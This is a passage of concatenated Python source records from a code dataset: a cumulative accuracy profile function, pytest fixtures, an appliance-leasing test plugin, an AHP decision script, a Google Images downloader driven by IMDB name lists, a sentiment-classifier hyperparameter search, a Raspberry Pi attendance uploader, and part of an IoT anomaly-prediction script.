Rate')\nplt.show()\n\n\n#Cumulative accuracy profile (by www.superdatascience.com)\nfrom sklearn.metrics import auc\nfrom scipy.integrate import simps\n\ndef cap(y_test, y_pred, plot=True, rule = 'trapezoid'):\n \"\"\"Cumulative accuracy profile - plot and/or Accurancy rating (AR)\"\"\"\n df = pd.DataFrame({'y_test': y_test, 'y_pred': y_pred})\n df.sort_values(by=['y_pred'], ascending=False, inplace=True)\n sUM = sum(y_test)\n #deafault = show plots\n if plot == True:\n plt.plot(range(len(y_pred)), np.cumsum(df['y_test']) / sUM, label='actual model')\n plt.plot(range(len(y_pred)), np.cumsum([1 if n < sUM else 0 for n, x in enumerate(y_test)]) / sUM,\n label='perfect model')\n plt.plot(range(len(y_pred)), np.cumsum([sUM / len(y_pred) for y in range(len(y_pred))]) / sUM, label='random model')\n plt.ylabel('% of positive outcome')\n plt.xlabel('% of data')\n plt.title('Cumulative accuracy profile')\n plt.legend()\n plt.show()\n #Accurancy Rate - deafult: trapezoid rule\n # Trapezoidal rule\n if rule == 'trapezoid':\n #area below actual model curve\n A = auc(range(len(y_pred)), np.cumsum(df['y_test']))\n #area below perfect model curve\n B = (auc(range(len(y_pred)), np.cumsum([1 if n < sUM else 0 for n, x in enumerate(y_test)])))\n #area below random model curve\n C = auc(range(len(y_pred)), np.cumsum([sUM/len(y_pred) for y in range(len(y_pred))]))\n #Simpson's rule\n elif rule == 'simpson':\n #area below actual model curve\n A = simps(np.cumsum(df['y_test']))\n #area below perfect model curve\n B = simps(np.cumsum([1 if n < sUM else 0 for n, x in enumerate(y_test)]))\n #area below random model curve\n C = simps([sUM/len(y_pred) for y in range(len(y_pred))])\n return (A - C) / (B - C)\n#end cup","sub_path":"python/classification_tools.py","file_name":"classification_tools.py","file_ext":"py","file_size_in_byte":4614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"164201292","text":"import pytest\n\n\n@pytest.fixture()\ndef event():\n return {\n 'RequestType': 'RequestType',\n 'ResponseURL': 'ResponseURL',\n 'StackId': 'StackId',\n 'RequestId': 'RequestId',\n 'ResourceType': 'ResourceType',\n 'LogicalResourceId': 'LogicalResourceId',\n 'PhysicalResourceId': 'PhysicalResourceId',\n 'ResourceProperties': {},\n 'OldResourceProperties': {},\n }\n\n\n@pytest.fixture()\ndef context():\n class Context(object):\n log_stream_name = \"log_stream_name\"\n\n def get_remaining_time_in_millis(self):\n return 2000\n\n return Context()\n","sub_path":"tests/fixtures.py","file_name":"fixtures.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"417187289","text":"# -*- coding: utf-8 -*-\n\"\"\"Module designed to handle the simple case when one wants to use Sprout but does not use the\nparallelizer. Uses IPAppliance that is pushed on top of the appliance stack\"\"\"\nimport pytest\n\nfrom threading import Timer\n\nfrom fixtures.terminalreporter import reporter\nfrom utils import at_exit, conf\nfrom utils.appliance import IPAppliance\nfrom utils.sprout import SproutClient\nfrom utils.wait import wait_for\n\n\ntimer = None\nappliance = None\n\n\ndef ping_pool(sprout, pool, timeout):\n sprout.prolong_appliance_pool_lease(pool)\n reset_timer(sprout, pool, timeout)\n\n\ndef reset_timer(sprout, pool, timeout):\n global timer\n if timer:\n timer.cancel()\n timer = Timer((timeout / 2) * 60, lambda: ping_pool(sprout, pool, timeout))\n timer.daemon = True\n timer.start()\n\n\ndef pytest_configure(config, __multicall__):\n global appliance\n __multicall__.execute()\n if not config.option.appliances and (config.option.use_sprout\n and config.option.sprout_appliances == 1):\n terminal = reporter()\n sprout = SproutClient.from_config()\n terminal.write(\"Requesting single appliance from sprout...\\n\")\n pool_id = sprout.request_appliances(\n config.option.sprout_group,\n count=config.option.sprout_appliances,\n version=config.option.sprout_version,\n date=config.option.sprout_date,\n lease_time=config.option.sprout_timeout\n )\n terminal.write(\"Appliance pool {}. Waiting for fulfillment ...\\n\".format(pool_id))\n at_exit(sprout.destroy_pool, pool_id)\n result = wait_for(\n lambda: sprout.request_check(pool_id)[\"fulfilled\"],\n num_sec=config.option.sprout_provision_timeout * 60,\n delay=5,\n message=\"requesting appliance was fulfilled\"\n )\n terminal.write(\"Provisioning took {0:.1f} seconds\\n\".format(result.duration))\n request = sprout.request_check(pool_id)\n ip_address = request[\"appliances\"][0][\"ip_address\"]\n terminal.write(\"Appliance requested at address {} ...\\n\".format(ip_address))\n reset_timer(sprout, pool_id, config.option.sprout_timeout)\n terminal.write(\"Appliance lease timer is running ...\\n\")\n appliance = IPAppliance(address=ip_address)\n # Retrieve and print the template_name for Jenkins to pick up\n template_name = request[\"appliances\"][0][\"template_name\"]\n conf.runtime[\"cfme_data\"][\"basic_info\"][\"appliance_template\"] = template_name\n terminal.write(\"appliance_template=\\\"{}\\\";\\n\".format(template_name))\n terminal.write(\"Single appliance Sprout setup finished.\\n\")\n # And set also the appliances_provider\n provider = request[\"appliances\"][0][\"provider\"]\n conf.runtime[\"cfme_data\"][\"basic_info\"][\"appliances_provider\"] = provider\n\n\n@pytest.mark.tryfirst\ndef pytest_sessionstart(session):\n global appliance\n if appliance is not None:\n appliance.push()\n\n\n@pytest.mark.trylast\ndef pytest_sessionfinish(session, exitstatus):\n global appliance\n if appliance is not None:\n appliance.pop()\n appliance = None\n","sub_path":"fixtures/single_appliance_sprout.py","file_name":"single_appliance_sprout.py","file_ext":"py","file_size_in_byte":3160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"243758774","text":"import numpy as np\nfrom fractions import Fraction\n\ndef load_units(file):\n units = []\n with open(file) as fp:\n for line in fp:\n units.append(line.split()[0]) # Used to deal with '\\n'\n return units\n\ndef read_data(units, fromLine = None):\n n = int(units[0])\n A = np.zeros((n, n))\n dem = 1\n if (fromLine != None):\n dem = fromLine\n\n print(dem)\n for i in range(0, n):\n for j in range(i, n):\n if i == j:\n scale = 1\n else:\n scale = float(Fraction(units[dem]))\n dem += 1\n \n A[i][j] = scale\n A[j][i] = float(1/scale)\n return A\n \ndef get_weight(A, getfrom):\n '''\n A: input matrix\n getfrom: 0 = criterions, 1 = alternatives\n '''\n n = A.shape[0]\n B = np.array(A)\n print(\"The matrix:\")\n print(A)\n sumCols = np.array([sum(B[:,i]) for i in range(len(B[0]))])\n for i in range(len(B)):\n for j in range(len(B[i])):\n B[i][j] /= sumCols[j]\n print(\"Normalized matrix:\")\n print(B)\n #print()\n priority = np.array([sum(B[i,:]/len(B[i])) for i in range(len(B))])\n print(\"Priority(Row avg):\")\n print(priority)\n weightedSum = A.dot(priority.T)\n print(\"Weighted sum:\")\n print(weightedSum)\n lamb = sum([weightedSum[i]/priority[i] for i in range(len(weightedSum))])/n\n if (getfrom == 1):\n return priority\n #print(lamb)\n\n # Consistency Checking\n RI = {1: 0, 2: 0, 3: 0.58, 4: 0.9, 5: 1.12, 6: 1.24, 7: 1.32, 8: 1.41, 9: 1.45, 10: 1.49, 11: 1.51}\n CI = (lamb - n) / (n - 1)\n CR = CI / RI[n]\n\n print('CR = %f'%CR)\n if CR >= 0.1:\n print(\"Failed in Consistency check.\")\n raise\n return priority, CR\n\nif __name__ == '__main__':\n criterions = load_units('/home/ledsinh/criticar.txt')\n alternatives = load_units('/home/ledsinh/alternative.txt')\n n2 = int(criterions[0])\n n3 = int(alternatives[0])\n A = read_data(criterions)\n\n print()\n W2, cr2 = get_weight(A,0)\n B = {}\n W3 = np.zeros((n2, n3))\n fromLine = 1\n for i in range(n2):\n print(\"######################\")\n print(\"Consider criterions\", i+1)\n B[str(i)] = read_data(alternatives, fromLine)\n fromLine += int((n3*n3-n3)/2)\n w3 = get_weight(B[str(i)],1)\n W3[i] = w3\n W = W2.T.dot(W3)\n print(W3)\n print(\"######################\")\n print(\"The final Weight:\")\n print(W)\n W = [(W[i],i) for i in range(len(W))]\n \n W = sorted(W, reverse = True)\n print(\"Choose alternative a\"+ str(W[0][1]))","sub_path":"AHP.py","file_name":"AHP.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"28118959","text":"\"\"\"\r\n@auther : wanghao\r\n@data : 2021/04/15\r\n@description : To download from google image search\r\n\"\"\"\r\nimport requests\r\nimport os\r\nimport shutil\r\nimport re\r\nfrom tqdm import tqdm\r\nimport numpy as np\r\nimport json\r\nfrom time import time\r\nimport scrapy\r\nfrom bs4 import BeautifulSoup\r\nimport argparse\r\n#import douban\r\n#from douban import items #import DoubanItem\r\n# from scrapy import Selector\r\n# from selenium import webdriver\r\n# from webdriver_manager.chrome import ChromeDriverManager\r\nfrom multiprocessing import Pool\r\nfrom threading import Thread\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument(\"--processes\",type=int,default=10,help='how many processes you want')\r\nparser.add_argument(\"--namelist_dir\",type=str,default=\"imdb_name_lists\",help='')\r\nparser.add_argument(\"--namelist_save_dir\",type=str,default=\"imdb_name_lists_finished\",help='')\r\nparser.add_argument(\"--image_save_dir\",type=str,default=\"IMDBImages\",help='')\r\nparser.add_argument(\"--blackname_file\",type=str,default=\"blackname_file.txt\",help='')\r\n\r\n# filename, file_dir='imdb_name_lists', save_dir='imdb_name_lists_finished',\r\n# data_save_dir=\"IMDBImages\"\r\nargs = parser.parse_args()\r\nblack_name_file = open(args.blackname_file,'a')\r\n\r\ndef getUrlsFromKeyword(keyword=\"michael jackson\"):\r\n question = keyword.replace(' ', '+')\r\n url_dir = f\"https://google.com/search?q={question}&tbm=isch&sclient=img\"\r\n # 找到合适的代理\r\n # desktop user-agent\r\n url_agent = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0\"\r\n # mobile user-agent\r\n mobile_user_agent = \"Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36\"\r\n\r\n headers = {\"user-agent\": mobile_user_agent}\r\n resp = requests.get(url_dir, headers=headers,timeout=60)\r\n if resp.status_code == 200:\r\n soup = BeautifulSoup(resp.content, \"html.parser\")\r\n tags = soup.find_all(attrs={\"class\": \"rg_i Q4LuWd\"})\r\n # get all urls\r\n img_urls = []\r\n for tag in tags:\r\n if 'data-src' in tag.attrs:\r\n img_url = tag.attrs['data-src']\r\n img_urls.append(img_url)\r\n return img_urls\r\n else:\r\n print(f'{url_dir} not found !')\r\n return []\r\n\r\n\r\ndef downImages(keyword, urls, save_dir=\"IMDBImages\"):\r\n keyword = keyword.replace(' ', '_')\r\n save_dir = os.path.join(save_dir, keyword)\r\n url_agent = \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0\"\r\n # mobile user-agent\r\n mobile_user_agent = \"Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko)\\\r\n Chrome/59.0.3071.125 Mobile Safari/537.36\"\r\n headers = {\"user-agent\": mobile_user_agent}\r\n if not os.path.exists(save_dir):\r\n os.mkdir(save_dir)\r\n tic = 0\r\n for i, url in enumerate(urls):\r\n try:\r\n ip = os.path.join(save_dir, f'img_{i}.jpg')\r\n raw_img = requests.get(url=url, headers=headers,timeout=10).content\r\n with open(ip, 'wb') as f:\r\n f.write(raw_img)\r\n f.close()\r\n except:\r\n tic += 1\r\n continue\r\n if tic:\r\n print(f\"{save_dir} totally missed {tic}/{len(urls)} images ! \")\r\n if tic/len(urls) > 0.4:\r\n black_name_file.writelines(keyword+\"\\n\")\r\n black_name_file.flush()\r\n\r\ndef downImagesFromNamelistFile(filename, file_dir='imdb_name_lists', save_dir='imdb_name_lists_finished',\r\n data_save_dir=\"IMDBImages\"):\r\n filepath = os.path.join(file_dir, filename)\r\n new_filename = filename[:-4] + '_unfinished.txt'\r\n new_filepath = os.path.join(save_dir, new_filename)\r\n f = open(filepath, 'r')\r\n namelist = [x for x in f.read().strip().split(';')]\r\n f.close()\r\n # print(\"Namelist : \\n\", namelist)\r\n\r\n new_file_exists = os.path.exists(new_filepath)\r\n f = open(new_filepath, 'a')\r\n namelist_exists = []\r\n if new_file_exists and f.readable():\r\n namelist_exists = [x for x in f.read().strip().split(';')]\r\n for i, keyword in enumerate(namelist):\r\n if keyword in namelist_exists:\r\n continue\r\n urls = getUrlsFromKeyword(keyword)\r\n downImages(keyword, urls, data_save_dir)\r\n f.writelines(keyword + \";\")\r\n f.flush()\r\n f.close()\r\n new_filepath_rename = new_filepath.replace(\"unfinished\", \"finished\")\r\n shutil.move(new_filepath, new_filepath_rename)\r\n\r\ndef runInLoop(filenames, file_dir='imdb_name_lists', save_dir='imdb_name_lists_finished',\r\n data_save_dir=\"IMDBImages\"):\r\n for filename in tqdm(filenames):\r\n downImagesFromNamelistFile(filename, file_dir, save_dir,\r\n data_save_dir)\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # parser.add_argument(\"--namelist_dir\", type=str, default=\"imdb_name_lists\", help='')\r\n # parser.add_argument(\"--namelist_save_dir\", type=str, default=\"imdb_name_lists_finished\", help='')\r\n # parser.add_argument(\"--image_save_dir\", type=str, default=\"IMDBImages\", help='')\r\n\r\n # filename, file_dir='imdb_name_lists', save_dir='imdb_name_lists_finished',\r\n # data_save_dir=\"IMDBImages\"\r\n namelist_file_names = os.listdir(args.namelist_dir)\r\n namelist_file_names_to_down = []\r\n namelist_file_names_saved = os.listdir(args.namelist_save_dir)\r\n\r\n print('Passing over namelist files that have been downloaded')\r\n for x in tqdm(namelist_file_names):\r\n x1 = x.replace(\".txt\",\"_finished.txt\")\r\n if not x1 in namelist_file_names_saved:\r\n namelist_file_names_to_down.append(x)\r\n print('Leaving %d files to download ' % len(namelist_file_names_to_down))\r\n # downImagesFromNamelistFile(namelist_file_names_to_down[0], args.namelist_dir, args.namelist_save_dir,\r\n # args.image_save_dir)\r\n indexs = np.linspace(0,len(namelist_file_names_to_down),args.processes).astype(np.int64)\r\n threads = []\r\n for i in range(len(indexs)-1):\r\n start_idx = indexs[i]\r\n end_idx = indexs[i+1]\r\n t=Thread(target=runInLoop,args=(namelist_file_names_to_down[start_idx:end_idx],args.namelist_dir, args.namelist_save_dir,\r\n args.image_save_dir))\r\n t.start()\r\n threads.append(t)\r\n for t in threads:\r\n if t is not None:\r\n t.join()\r\n\r\n # process_pool = Pool(processes=args.processes)\r\n # for namelist_file_name in tqdm(namelist_file_names_to_down):\r\n # process_pool.apply_async(downImagesFromNamelistFile, args=(namelist_file_name,args.namelist_dir, args.namelist_save_dir,\r\n # args.image_save_dir))\r\n # process_pool.close()\r\n # process_pool.join()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"down_images_from_google.py","file_name":"down_images_from_google.py","file_ext":"py","file_size_in_byte":6930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"573147740","text":"from tempfile import mkdtemp\n\nimport joblib\nimport time\nimport unidecode\nfrom hyperopt import Trials, fmin, hp, tpe\nfrom languageflow.data import CategorizedCorpus\nfrom languageflow.data_fetcher import DataFetcher, NLPData\nfrom languageflow.models.text_classifier import TextClassifier, TEXT_CLASSIFIER_ESTIMATOR\nfrom languageflow.trainers.model_trainer import ModelTrainer\nfrom sacred import Experiment\nfrom sacred.optional import np\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nfrom sklearn.metrics import f1_score\nfrom sklearn.pipeline import Pipeline, FeatureUnion\nfrom sklearn.svm import SVC\nfrom sacred.observers import MongoObserver\n\nex = Experiment('VLSP2016 Experiment')\nex.observers.append(MongoObserver.create())\n\nnegative_emoticons = {':(', '☹', '❌', '👎', '👹', '💀', '🔥', '🤔', '😏', '😐', '😑', '😒', '😓', '😔', '😕', '😖',\n '😞', '😟', '😠', '😡', '😢', '😣', '😤', '😥', '😧', '😨', '😩', '😪', '😫', '😭', '😰', '😱',\n '😳', '😵', '😶', '😾', '🙁', '🙏', '🚫', '>:[', ':-(', ':(', ':-c', ':c', ':-<', ':っC', ':<',\n ':-[', ':[', ':{'}\n\npositive_emoticons = {'=))', 'v', ';)', '^^', '<3', '☀', '☺', '♡', '♥', '✌', '✨', '❣', '❤', '🌝', '🌷', '🌸',\n '🌺', '🌼', '🍓', '🎈', '🐅', '🐶', '🐾', '👉', '👌', '👍', '👏', '👻', '💃', '💄', '💋',\n '💌', '💎', '💐', '💓', '💕', '💖', '💗', '💙', '💚', '💛', '💜', '💞', ':-)', ':)', ':D', ':o)',\n ':]', ':3', ':c)', ':>', '=]', '8)'}\n\n\nclass Lowercase(BaseEstimator, TransformerMixin):\n def transform(self, x):\n return [s.lower() for s in x]\n\n def fit(self, x, y=None):\n return self\n\n\nclass RemoveTone(BaseEstimator, TransformerMixin):\n def remove_tone(self, s):\n return unidecode.unidecode(s)\n\n def transform(self, x):\n return [self.remove_tone(s) for s in x]\n\n def fit(self, x, y=None):\n return self\n\n\nclass CountEmoticons(BaseEstimator, TransformerMixin):\n def count_emoticon(self, s):\n positive_count = 0\n negative_count = 0\n for emoticon in positive_emoticons:\n positive_count += s.count(emoticon)\n for emoticon in negative_emoticons:\n negative_count += s.count(emoticon)\n return positive_count, negative_count\n\n def transform(self, x):\n return [self.count_emoticon(s) for s in x]\n\n def fit(self, x, y=None):\n return self\n\n\n@ex.main\ndef my_run(estimator__C,\n features__lower_pipe__tfidf__ngram_range,\n features__with_tone_char__ngram_range,\n features__remove_tone__tfidf__ngram_range):\n params = locals().copy()\n start = time.time()\n print(params)\n corpus: CategorizedCorpus = DataFetcher.load_corpus(NLPData.VLSP2016_SA)\n pipeline = Pipeline(\n steps=[\n ('features', FeatureUnion([\n ('lower_pipe', Pipeline([\n ('lower', Lowercase()),\n ('tfidf', TfidfVectorizer(ngram_range=(1, 4), norm='l2', min_df=2))])),\n ('with_tone_char', TfidfVectorizer(ngram_range=(1, 6), norm='l2', min_df=2, analyzer='char')),\n ('remove_tone', Pipeline([\n ('remove_tone', RemoveTone()),\n ('lower', Lowercase()),\n ('tfidf', TfidfVectorizer(ngram_range=(1, 4), norm='l2', min_df=2))])),\n ('emoticons', CountEmoticons())\n ])),\n ('estimator', SVC(kernel='linear', C=0.2175, class_weight=None, verbose=True))\n ]\n )\n pipeline.set_params(**params)\n classifier = TextClassifier(estimator=TEXT_CLASSIFIER_ESTIMATOR.PIPELINE, pipeline=pipeline)\n model_trainer = ModelTrainer(classifier, corpus)\n tmp_model_folder = mkdtemp()\n\n def negative_f1_score(y_true, y_pred):\n score_class_0, score_class_1, score_class_2 = f1_score(y_true, y_pred, average=None)\n return score_class_1\n\n def macro_f1_score(y_true, y_pred):\n return f1_score(y_true, y_pred, average='macro')\n\n score = model_trainer.train(tmp_model_folder, scoring=negative_f1_score)\n ex.log_scalar('dev_score', score['dev_score'])\n ex.log_scalar('test_score', score['test_score'])\n print(time.time() - start)\n return score['dev_score']\n\n\nbest_score = 1.0\n\n\ndef objective(space):\n global best_score\n test_score = ex.run(config_updates=space).result\n score = 1 - test_score\n print(\"Score:\", score)\n return score\n\n\nspace = {\n 'estimator__C': hp.choice('C', np.arange(0.005, 1.0, 0.005)),\n 'features__lower_pipe__tfidf__ngram_range': hp.choice('features__lower_pipe__lower_tfidf__ngram_range',\n [(1, 2), (1, 3), (1, 4)]),\n 'features__with_tone_char__ngram_range': hp.choice('features__with_tone_char__ngram_range',\n [(1, 4), (1, 5), (1, 6)]),\n 'features__remove_tone__tfidf__ngram_range': hp.choice('features__remove_tone__tfidf__ngram_range',\n [(1, 2), (1, 3), (1, 4)])\n}\nstart = time.time()\ntrials = Trials()\nbest = fmin(objective, space=space, algo=tpe.suggest, max_evals=300, trials=trials)\n\nprint(\"Hyperopt search took %.2f seconds for 200 candidates\" % ((time.time() - start)))\nprint(-best_score, best)\n","sub_path":"vlsp2016_opt.py","file_name":"vlsp2016_opt.py","file_ext":"py","file_size_in_byte":5588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"621619982","text":"import sqlite3,time\nimport requests,subprocess\nimport json,udplib\nf=open(\"/home/pi/share/config\",'r')\ntest_string = f.read()\nf.close()\nres = json.loads(test_string)\nhost_ip=res['host_ip']\nport_no=res['port_no']\n# We can also close the connection if we are done with it.\n# Just be sure any changes have been committed or they will be lost.\ndef select_task_by_priority(conn, priority):\n \"\"\"\n Query tasks by priority\n :param conn: the Connection object\n :param priority:\n :return:\n \"\"\"\n cur = conn.cursor()\n cur.execute(\"SELECT * FROM temp_attendance WHERE ID=?\", (priority,))\n\n rows = cur.fetchall()\n \n print(rows[0])\n return rows[0]\ndef delete_task(conn, id):\n \"\"\"\n Delete a task by task id\n :param conn: Connection to the SQLite database\n :param id: id of the task\n :return: \"\"\"\n sql = 'DELETE FROM temp_attendance WHERE ID=?'\n cur = conn.cursor()\n cur.execute(sql, (id,))\n conn.commit()\nwhile 1:\n conn = sqlite3.connect('/home/pi/share/attendance.db')\n c = conn.cursor()\n c.execute(\"SELECT * FROM temp_attendance ORDER BY ID ASC LIMIT 1\")\n details = c.fetchone()\n if(details !=None):\n print(details)\n try:\n ids=details[0]\n attendance=details[1]\n temperature=details[2]\n data=attendance+\"~\"+str(temperature)\n print(data)\n print(udplib.Attend_send(data,host_ip=host_ip,port_no=port_no,bufferSize = 1024))\n subprocess.Popen(\"echo 'attendance updated' | festival --tts\",shell=True)\n# # time.sleep(0.2)\n delete_task(conn,ids)\n time.sleep(2)\n except:\n print(\"exc\")\n pass\n # delete_task(conn,row[0])\n conn.close()\n","sub_path":"retriving1.py","file_name":"retriving1.py","file_ext":"py","file_size_in_byte":1786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"263178008","text":"import itertools\nimport json\nimport os\nimport pickle\nimport sys\nimport warnings\n\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt, style\n\nimport Constants as c\nfrom retrain import retrain_model\nfrom unsupervised_classification import unsupervised_classification\n\nwarnings.simplefilter(\"ignore\", category=DeprecationWarning)\nstyle.use('ggplot')\nnp.random.seed(42)\n\n#In: train_features_dir untagged_features_dir tagged_models_dir [idle_models_dir] out_results_dir\n#Out: Directory containing predictions\n\n\n#is_error is either 0 or 1\ndef print_usage(is_error):\n print(c.PREDICT_USAGE, file=sys.stderr) if is_error else print(c.PREICT_USAGE)\n exit(is_error)\n\n\ndef label(label_file):\n labels = []\n with open(label_file) as ff:\n for line in ff.readlines():\n line = line.strip()\n if line.startswith('#') or line == '':\n continue\n labels.append(line)\n return labels\n\n\ndef dictionary_create(labels):\n di ={}\n reverse_di = {}\n for i in range(len(labels)):\n di.update({labels[i]:i})\n reverse_di.update({i:labels[i]})\n\n di.update({'normal':len(labels)})\n return di, reverse_di\n \n\nclass NumpyEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj, np.ndarray):\n return obj.tolist()\n return json.JSONEncoder.default(self, obj)\n\n\ndef plot_confusion_matrix(cm, classes, recall, precision, f2, f1, normalize=False,\n title='Confusion matrix', cmap=plt.cm.Blues):\n plt.figure()\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=0)\n plt.yticks(tick_marks, classes)\n\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, cm[i, j],\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n plt.xticks(rotation=90)\n plt.text(12, 0, f\" Recall:{recall},\\n Precision:{precision},\\n F2 Score:{f2},\\n F1 Score:{f1}\", fontsize=12)\n return plt\n\n\ndef load_data(path):\n anomaly_data = pd.read_csv(path)\n # anomaly_data = anomaly_data.drop(anomaly_data.columns[0], axis=1)\n return anomaly_data\n\n\ndef filter_anomaly(ss, anomaly_data, multivariate_model_dict, dev_result_dir):\n mv_model = multivariate_model_dict['mvmodel']\n treshold = multivariate_model_dict['treshold']\n y_test = anomaly_data['state'].apply(lambda x: 1 if x == 'anomaly' else 0)\n y_predict = (mv_model.logpdf(anomaly_data.drop(['state'], axis=1).values) < treshold).astype(int)\n anomaly_data['anomalous'] = y_predict\n normal_data = anomaly_data[anomaly_data['anomalous'] == 0]\n anomalous_data = anomaly_data[anomaly_data['anomalous'] == 1]\n normal_data['predictions'] = 'unknown'\n anomalous_data['predictions'] = 'anomalous'\n anomalous_data = anomalous_data.drop(['anomalous'], axis=1)\n normal_data = normal_data.drop(['anomalous'], axis=1)\n output_dict = {'predictions': y_predict}\n if not os.path.isdir(dev_result_dir):\n os.system(\"mkdir -pv %s\" % dev_result_dir)\n\n with open(dev_result_dir+'/anomaly_output.txt', 'w+') as f:\n f.write(json.dumps(output_dict, cls=NumpyEncoder))\n\n return normal_data, anomalous_data\n\n\n\ndef filter_idle(ss, data, multivariate_model_dict, dev_result_dir):\n mv_model = multivariate_model_dict['mvmodel']\n treshold = multivariate_model_dict['treshold']\n y_test = data['state'].apply(lambda x: 1 if x == 'anomaly' else 0)\n y_predict = (mv_model.logpdf(data.drop(['state', 'predictions'], axis=1).values) < treshold).astype(int)\n data['idle'] = y_predict\n unknown_data = data[data['idle'] == 0]\n idle_data = data[data['idle'] == 1]\n unknown_data['predictions'] = 'unknown'\n idle_data['predictions'] = 'idle'\n output_dict = {'predictions': y_predict}\n unknown_data = unknown_data.drop(['idle'], axis=1)\n idle_data = idle_data.drop(['idle'], axis=1)\n if not os.path.isdir(dev_result_dir):\n os.system(\"mkdir -pv %s\" % dev_result_dir)\n\n with open(dev_result_dir+'/idle_output.txt', 'w+') as f:\n f.write(json.dumps(output_dict, cls=NumpyEncoder))\n return unknown_data, idle_data\n\n\ndef action_classification_model(data, action_class_dict):\n ss = action_class_dict['standard_scaler']\n pca = action_class_dict['pca']\n trained_model = action_class_dict['trained_model']\n transformed_data = ss.transform(data.drop(['state', 'predictions'], axis=1))\n transformed_data = pca.transform(transformed_data)\n transformed_data = pd.DataFrame(transformed_data)\n transformed_data = transformed_data.iloc[:, :4]\n y_predict = trained_model.predict(transformed_data)\n y_predicted_1d = np.argmax(y_predict, axis=1)\n data['predictions'] = y_predicted_1d\n return data\n\n\ndef final_accuracy(final_data):\n global di\n y_test = final_data['state'].map(di)\n y_predict = final_data['predictions']\n return y_predict\n\n\ndef run_process(features_file, dev_result_dir, base_model_file, anomaly_model_file,\n idle_model_file, model_dir, trained_features_file):\n anomaly_data = load_data(features_file)\n original_data = anomaly_data\n #print(original_data.head())\n hosts = anomaly_data['hosts']\n start_time = anomaly_data['start_time']\n end_time = anomaly_data['end_time']\n device = list(set(anomaly_data.device))[0]\n anomaly_data = anomaly_data.drop(['device', 'hosts'], axis=1)\n action_classification_model_dict = pickle.load(open(base_model_file, 'rb'))\n ss = action_classification_model_dict['standard_scaler']\n anomaly_model = pickle.load(open(anomaly_model_file, 'rb'))\n if idle_model_file is not None:\n idle_model = pickle.load(open(idle_model_file, 'rb'))\n\n normal_data, anomalous_data = filter_anomaly(ss, anomaly_data, anomaly_model, dev_result_dir)\n # TODO: The normal data is further classified into idle vs the rest. The rest can be passed through an unsup model.\n #normal_data['predictions'] = di['normal']\n hosts_normal = [hosts[i] for i in normal_data.index]\n self_labelled_data = normal_data\n self_labelled_data['predictions'] = unsupervised_classification(normal_data, device,\n hosts_normal, dev_result_dir)\n\n if anomalous_data.shape[0] == 0:\n print(\"No Labelled Anomalous data.\")\n final_data = self_labelled_data\n y_predict = final_accuracy(final_data)\n out_dict = {'start_time': start_time, 'end_time': end_time, 'tagged': final_data['state'],\n 'prediction': y_predict}\n out_df = pd.DataFrame(out_dict)\n out_df['prediction'] = out_df['prediction'].map(reverse_di).fillna(\"normal\")\n out_df = out_df.drop_duplicates()\n out_df.to_csv(dev_result_dir + '/model_results.csv', index=False)\n original_data['state'] = y_predict\n retrain_model(original_data, model_dir, trained_features_file)\n else:\n anomalous_data = action_classification_model(anomalous_data, action_classification_model_dict)\n anomalous_data['predictions'] = anomalous_data['predictions'].map(reverse_di).fillna(\"anomaly\")\n final_data = self_labelled_data.append(anomalous_data).sort_index()\n y_predict = final_accuracy(final_data)\n out_dict = {'start_time': start_time, 'end_time': end_time,\n 'tagged': final_data['state'], 'prediction': y_predict}\n out_df = pd.DataFrame(out_dict)\n out_df = out_df.drop_duplicates()\n out_df.to_csv(dev_result_dir + '/model_results.csv', index=False)\n original_data['state'] = y_predict\n retrain_model(original_data, model_dir, trained_features_file)\n\n\n#Check dir to make sure it exists and has read/execute permission\ndef check_dir(dir_description, dir_path):\n errors = False\n if not os.path.isdir(dir_path):\n errors = True\n print(c.INVAL % (dir_description, dir_path, \"directory\"), file=sys.stderr)\n else:\n if not os.access(dir_path, os.R_OK):\n errors = True\n print(c.NO_PERM % (dir_description.lower(), dir_path, \"read\"), file=sys.stderr)\n if not os.access(dir_path, os.X_OK):\n errors = True\n print(c.NO_PERM % (dir_description.lower(), dir_path, \"execute\"), file=sys.stderr)\n return errors\n\n\n#Check that a file exists\ndef check_file(description, device, filepath):\n if not os.path.isfile(filepath):\n print(c.MISSING_MOD % (description, device, filepath), file=sys.stderr)\n return True\n 